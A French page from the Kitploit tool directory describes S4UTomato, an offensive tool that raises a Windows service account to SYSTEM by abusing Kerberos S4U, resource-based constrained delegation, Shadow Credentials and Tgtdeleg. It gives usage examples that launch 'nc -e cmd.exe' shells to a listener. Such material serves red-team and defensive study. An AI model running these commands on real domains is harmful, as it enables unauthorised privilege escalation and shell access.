Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
S4UTomato — Élever un compte de service vers LocalSystem via Kerberos | Kitploit
Outils/GitHubGitHub/wh0amitz/s4utomato
Escalade de PrivilègesExploitationPost-ExploitationRed Teaming
GitHubwh0amitz/s4utomato

S4UTomato

Élever un compte de service vers LocalSystem via Kerberos

Voir le dépôt
40577il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

S4UTomato

Élévation de compte de service à LocalSystem via Kerberos.

Pommes de terre traditionnelles

Les amateurs de la série d'élévation de privilèges « Potato » savent qu'elle peut élever les privilèges d'un compte de service vers ceux du système local. Les premières techniques d'exploitation de « Potato » sont presque identiques : exploiter certaines fonctionnalités des interfaces COM, tromper le compte NT AUTHORITY\SYSTEM pour qu'il se connecte et s'authentifie auprès d'un serveur RPC contrôlé par l'attaquant. Ensuite, via une série d'appels API, une attaque de type intermédiaire (NTLM Relay) est menée pendant ce processus d'authentification, ce qui entraîne la génération d'un jeton d'accès pour le compte NT AUTHORITY\SYSTEM sur le système local. Enfin, ce jeton est volé et la fonction CreateProcessWithToken() ou CreateProcessAsUser() est utilisée pour passer le jeton et créer un nouveau processus afin d'obtenir les privilèges SYSTEM.

Et Kerberos alors ?

Dans un environnement de domaine Windows, SYSTEM, NT AUTHORITY\NETWORK SERVICE et les comptes virtuels Microsoft sont utilisés pour l'authentification par les comptes d'ordinateur système joints au domaine. Comprendre cela est crucial car dans les versions modernes de Windows, la plupart des services Windows s'exécutent par défaut en utilisant des comptes virtuels Microsoft. Notamment, IIS et MSSQL utilisent ces comptes virtuels, et je pense que d'autres applications pourraient également les employer. Par conséquent, nous pouvons abuser de l'extension S4U pour obtenir le ticket de service pour le compte d'administrateur de domaine « Administrator » sur la machine locale. Ensuite, avec l'aide de SCMUACBypass de James Forshaw (@tiraniddo), nous pouvons utiliser ce ticket pour créer un service système et obtenir les privilèges SYSTEM. Cela atteint le même effet que les méthodes traditionnelles utilisées dans la famille de techniques d'élévation de privilèges « Potato ».

Dans tout scénario où une machine est jointe à un domaine, vous pouvez tirer parti des techniques susmentionnées pour une élévation de privilèges locale tant que vous pouvez exécuter du code dans le contexte d'un compte de service Windows ou d'un compte virtuel Microsoft, à condition que l'Active Directory n'ait pas été durci pour se défendre pleinement contre de telles attaques.

Avant cela, nous devons obtenir un TGT (Ticket Granting Ticket) pour le compte de la machine locale. Ce n'est pas facile en raison des restrictions imposées par les autorisations du compte de service, qui nous empêchent d'obtenir la clé à long terme de l'ordinateur et donc de construire une requête KRB_AS_REQ. Pour atteindre l'objectif susmentionné, j'ai exploité trois techniques : Resource-based Constrained Delegation, Shadow Credentials et Tgtdeleg. J'ai construit mon projet sur la base de la boîte à outils Rubeus.

Comment utiliser et exemples

root@kitploit:~
C:\Users\whoami\Desktop>S4UTomato.exe --help

S4UTomato 1.0.0-beta
Copyright (c) 2023

  -d, --Domain              Domaine (FQDN) pour l'authentification.
  -s, --Server              Nom d'hôte du contrôleur de domaine ou du serveur LDAP.
  -m, --ComputerName        Le nouveau compte ordinateur à créer.
  -p, --ComputerPassword    Le mot de passe du nouveau compte ordinateur à créer.
  -f, --Force               Forcer la mise à jour de l'attribut 'msDS-KeyCredentialLink' de l'objet
                            ordinateur.
  -c, --Command             Programme à exécuter.
  -v, --Verbose             Afficher les informations de débogage détaillées.
  --help                    Afficher l'écran d'aide.
  --version                 Afficher les informations de version.

Élévation de privilèges locale via délégation contrainte basée sur les ressources

root@kitploit:~
S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"

rbcd

Élévation de privilèges locale via Shadow Credentials + S4U2self

root@kitploit:~
S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f

shadowcred

Élévation de privilèges locale via Tgtdeleg + S4U2self

root@kitploit:~
# Récupérer d'abord le TGT via Tgtdeleg
S4UTomato.exe tgtdeleg
# Ensuite exécuter SCMUACBypass pour obtenir les privilèges SYSTEM
S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"

tgtdeleg

Télécharger l’outil